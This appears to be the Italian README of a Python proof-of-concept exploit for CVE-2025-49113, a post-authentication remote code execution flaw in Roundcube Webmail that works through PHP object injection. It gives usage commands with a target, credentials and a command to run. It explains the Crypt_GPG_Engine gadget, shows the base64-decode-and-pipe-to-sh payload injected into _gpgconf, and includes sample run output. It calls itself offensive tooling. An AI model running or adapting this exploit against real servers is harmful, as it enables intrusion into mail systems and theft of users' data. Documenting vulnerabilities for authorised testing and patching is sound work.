
💥 Exploit Python per CVE-2025-49113 | Roundcube Webmail RCE tramite PHP Object Injection
ID CVE: CVE-2025-49113
Tipo di Exploit: Remote Code Execution (tramite PHP Object Injection)
Applicazione: Roundcube Webmail ≤ 1.5.9 e ≤ 1.6.10
Linguaggio dell'Exploit: Python
Autore: 00xCanelo
Stato: Testato e funzionante su installazioni Roundcube vulnerabili
Questo exploit sfrutta una vulnerabilità nel modo in cui Roundcube Webmail gestisce i nomi dei file immagine caricati, che vengono deserializzati come oggetti PHP. Creando un payload malevolo che attiva una catena di deserializzazione Crypt_GPG_Engine, è possibile ottenere l'esecuzione remota di comandi post-autenticazione.
Questo PoC Python replica la catena d'attacco utilizzata dall'exploit PHP pubblico, ma con una logica più pulita, logging opzionale e facilità d'uso in configurazioni di tooling offensivo.
pip install requestspython3 CVE-2025-49113.py <target_url> <username> <password> <command>
python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'
La classe PHP Crypt_GPG_Engine permette di impostare un campo _gpgconf, che viene poi passato all'esecuzione della shell.
Il nostro payload costruisce:
echo "<base64-encoded-cmd>" | base64 -d | sh
in _gpgconf, che porta a RCE in seguito alla deserializzazione.
[*] Starting CVE-2025-49113 exploit...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10606
[+] Target is vulnerable!
[*] Logging in...
[+] Login successful.
[*] Uploading serialized gadget as image filename...
[+] Gadget uploaded successfully!
.
├── CVE-2025-49113.py # Script PoC Python
└── README.md # Questa documentazione
Questo codice è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. L'uso improprio di questo strumento è rigorosamente vietato. L'autore non è responsabile per eventuali danni causati.